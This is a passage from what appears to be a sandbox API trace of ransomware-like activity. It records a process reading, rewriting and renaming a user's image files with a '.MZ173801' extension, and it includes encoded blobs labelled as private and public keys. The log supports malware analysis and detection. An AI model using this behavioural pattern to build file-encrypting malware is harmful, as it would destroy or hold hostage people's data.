lpBuffer=0x24e3d20, nNumberOfBytesToRead=0x103df, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0x103df, lpOverlapped=0x0) returned 1 [0153.694] CloseHandle (hObject=0x2f8) returned 1 [0153.696] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\mmyqv.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.697] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f5d50*, nNumberOfBytesToWrite=0x103df, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f5d50*, lpNumberOfBytesWritten=0x19f758*=0x103df, lpOverlapped=0x0) returned 1 [0153.699] CloseHandle (hObject=0x2f8) returned 1 [0153.701] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\mmyqv.bmp"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\MmyqV.bmp.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\mmyqv.bmp.mz173801")) returned 1 [0153.701] GetCurrentThreadId () returned 0xab4 [0153.702] GetCurrentThreadId () returned 0xab4 [0153.702] GetCurrentThreadId () returned 0xab4 [0153.702] GetCurrentThreadId () returned 0xab4 [0153.702] GetCurrentThreadId () returned 0xab4 [0153.702] GetCurrentThreadId () returned 0xab4 [0153.702] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x681225f0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x77cb63f0, ftLastAccessTime.dwHighDateTime=0x1d5ed12, ftLastWriteTime.dwLowDateTime=0x77cb63f0, ftLastWriteTime.dwHighDateTime=0x1d5ed12, nFileSizeHigh=0x0, nFileSizeLow=0xef85, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="oeFUq.jpg", cAlternateFileName="")) returned 1 [0153.702] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.702] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.702] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\oefuq.jpg"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x681225f0, ftCreationTime.dwHighDateTime=0x1d5e12f, ftLastAccessTime.dwLowDateTime=0x77cb63f0, ftLastAccessTime.dwHighDateTime=0x1d5ed12, ftLastWriteTime.dwLowDateTime=0x77cb63f0, ftLastWriteTime.dwHighDateTime=0x1d5ed12, nFileSizeHigh=0x0, nFileSizeLow=0xef85)) returned 1 [0153.702] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\oefuq.jpg")) returned 0x20 [0153.702] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg", dwFileAttributes=0x80) returned 1 [0153.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0153.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x24caebc, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", lpUsedDefaultChar=0x0) returned 2417 [0153.707] GetCurrentThreadId () returned 0xab4 [0153.707] GetCurrentThreadId () returned 0xab4 [0153.707] GetCurrentThreadId () returned 0xab4 [0153.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0153.707] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x24dbf1c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0153.708] GetCurrentThreadId () returned 0xab4 [0153.708] GetCurrentThreadId () returned 0xab4 [0153.708] GetCurrentThreadId () returned 0xab4 [0153.708] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\oefuq.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.708] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f740*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f740*=0) returned 0x0 [0153.708] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.708] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0xef85 [0153.708] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x19f738*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19f738*=0) returned 0x0 [0153.708] ReadFile (in: hFile=0x2f8, lpBuffer=0x24e3d20, nNumberOfBytesToRead=0xef85, lpNumberOfBytesRead=0x19f74c, lpOverlapped=0x0 | out: lpBuffer=0x24e3d20*, lpNumberOfBytesRead=0x19f74c*=0xef85, lpOverlapped=0x0) returned 1 [0153.709] CloseHandle (hObject=0x2f8) returned 1 [0153.710] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\oefuq.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x2f8 [0153.712] WriteFile (in: hFile=0x2f8, lpBuffer=0x24f3d50*, nNumberOfBytesToWrite=0xef85, lpNumberOfBytesWritten=0x19f758, lpOverlapped=0x0 | out: lpBuffer=0x24f3d50*, lpNumberOfBytesWritten=0x19f758*=0xef85, lpOverlapped=0x0) returned 1 [0153.713] CloseHandle (hObject=0x2f8) returned 1 [0153.715] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\oefuq.jpg"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\oeFUq.jpg.MZ173801" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\oefuq.jpg.mz173801")) returned 1 [0153.716] GetCurrentThreadId () returned 0xab4 [0153.716] GetCurrentThreadId () returned 0xab4 [0153.716] GetCurrentThreadId () returned 0xab4 [0153.716] GetCurrentThreadId () returned 0xab4 [0153.716] GetCurrentThreadId () returned 0xab4 [0153.716] GetCurrentThreadId () returned 0xab4 [0153.716] FindNextFileW (in: hFindFile=0xa1b818, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3b750, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x7dc199e0, ftLastAccessTime.dwHighDateTime=0x1d5ea2f, ftLastWriteTime.dwLowDateTime=0x7dc199e0, ftLastWriteTime.dwHighDateTime=0x1d5ea2f, nFileSizeHigh=0x0, nFileSizeLow=0x3c4d, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="P3JDGEyVU9q0 M.bmp", cAlternateFileName="P3JDGE~1.BMP")) returned 1 [0153.716] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0153.716] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0153.716] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\p3jdgeyvu9q0 m.bmp"), fInfoLevelId=0x0, lpFileInformation=0x19f78c | out: lpFileInformation=0x19f78c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cb3b750, ftCreationTime.dwHighDateTime=0x1d5e522, ftLastAccessTime.dwLowDateTime=0x7dc199e0, ftLastAccessTime.dwHighDateTime=0x1d5ea2f, ftLastWriteTime.dwLowDateTime=0x7dc199e0, ftLastWriteTime.dwHighDateTime=0x1d5ea2f, nFileSizeHigh=0x0, nFileSizeLow=0x3c4d)) returned 1 [0153.716] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\4ybx\\p3jdgeyvu9q0 m.bmp")) returned 0x20 [0153.716] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\4yBx\\P3JDGEyVU9q0 M.bmp", dwFileAttributes=0x80) returned 1 [0153.719] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8